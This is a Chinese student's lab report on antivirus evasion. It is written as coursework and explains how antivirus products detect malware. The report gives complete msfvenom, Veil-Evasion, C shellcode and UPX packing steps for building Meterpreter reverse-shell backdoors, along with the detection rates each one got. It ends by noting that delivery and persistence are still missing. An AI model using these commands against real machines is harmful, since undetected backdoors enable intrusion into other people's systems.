20154322杨钦涵 Exp3 免杀原理与实践
Exp3 免杀原理与实践Exp3 免杀原理与实践
一、基础问题回答 |
1、杀软是如何检测出恶意代码的?
基于特征码的检测:杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
根据行为来检测:如果一个程序的行为是带有恶意的行为,那么这个程序也会被认为是恶意代码,有时候不是恶意代码的程序也会把查杀,因为这些程序做了一些计算机认为不安全的事情,比较常见的就是各自破解补丁或者游戏外挂等。
启发式检测:根据些片面特征去推断。通常是因为缺乏精确判定依据。
2、免杀是做什么?
免杀就是使杀毒软件检测不出恶意软件。
3、免杀的基本方法有哪些?
修改特征码:在不影响程序功能的情况下,修改杀软检测的那一段特征码。但修改特征码不是一个容易的事情,但是却是唯一可以躲过内存查杀的办法。
加壳:就是给含有恶意代码的程序加一个外包装。但是这种方法逃不过内存查杀,一运行起来就会露出马脚。
二、实验内容 |
①正确使用msf编码器生成meterpreter可执行文件
A.原始版本
将上次实验产生的后门20154322_backdoor.exe 文件直接拷贝到开启360的win主机下
立即被360活捉 ̄へ ̄
添加信任以后放在virscan.org上扫描
从上图可以看出,有46%的报毒率!!有18/39的杀毒软件发现有病毒
B.编码1次
使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.198.128 LPORT=4322 -f exe > yqh4322.exe
命令生成编码过的可执行文件 yqh4322.exe
我们发现被编码后的payload大小为368字节,最终文件的大小都是73802字节。
再次使用virscan.org检测
并没有什么用
C.编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.198.128 LPORT=4322 -f exe > yqh43222-e8.exe
得如下结果:
将生成的文件同样放到网站上扫描
仅仅下降到43%,由此可知发现无论编码多少次效果都差不多,所以想要利用编码次数来达到免杀效果显然是不行的。
②使用veil-evasion生成的后门程序
veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里,如果没有可以进行在线安装:sudo apt-get install veil-evasion
- 试了很多次,一直卡在module tools错误这一步,最后决定用同学电脑生成
在终端下输入指令veil-evasion即可打开软件,根据menu的提示依次键入以下指令:
use python/meterpreter/rev_tcp //设置payload
set LHOST 192.168.198.128 //设置反弹连接IP
set port 4822 //设置反弹端口4822
generate //生成
yqhbackdoor //程序名
该可执行文件存在kali计算机的/var/lib/veil-evasion/output/compiled/文件夹里,点击places的fengjia即可找到相应的文件夹
用msf进行监听,得如下结果:
在网上检测一下:
还不错,只有17%的杀毒率,(7/39)报告发现病毒。
找到文件所在位置,右键点击360木马查杀,没有发现
免杀成功~~
③ C语言调用Shellcode
kali:输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.128 LPORT=4322 -f c
LHOST:攻击机IP
LPORT:反弹连接端口
c:生成一个c语言格式的Shellcode数组
然后我选择在自己的物理机上编写一个c文件(codeblock),就是将讲义中的代码段替换成上面linux生成的代码,并进行编译。
放在上面提供的网址进行检测
终于少了,只有20%的病毒率!
在linux下进入MSF打开监听进程,跟之前做的实验步骤一样,这时候运行之前的c文件,发现linux侵入了我的电脑
程序运行后被360杀毒很快就查出来了,说明360杀毒还挺强的
放到网上检测一下
又下降至17%!效果不错
④加壳
直接用upx将MSF直接生成的文件加壳。
上传到网站上扫描
三、离实战还缺些什么技术或步骤? |
- 如何把这个文件传给对方并持续保持运行且还不被发现
- 普通的杀毒软件都可以检测到主流的编码、加壳的平台程序,如果我们需要自己对恶意代码进行修改编译,这就需要更加专业的知识以及对各种系统更深的了解。
四、实验心得体会 |
本次实践学习了免杀技术,使用msf编码器,veil-evasion, shellcode编程等免杀工具。这次实验让我感受到了杀毒软件十分不靠谱,就算在现在在这样一个起步阶段,基础的操作都可以实现免杀,那更高级的编程者对这些就更轻而易举了。所以,平时少下第三方软件,少点开链接(很有可能就是钓鱼链接),从源头减少恶意代码对系统的入侵。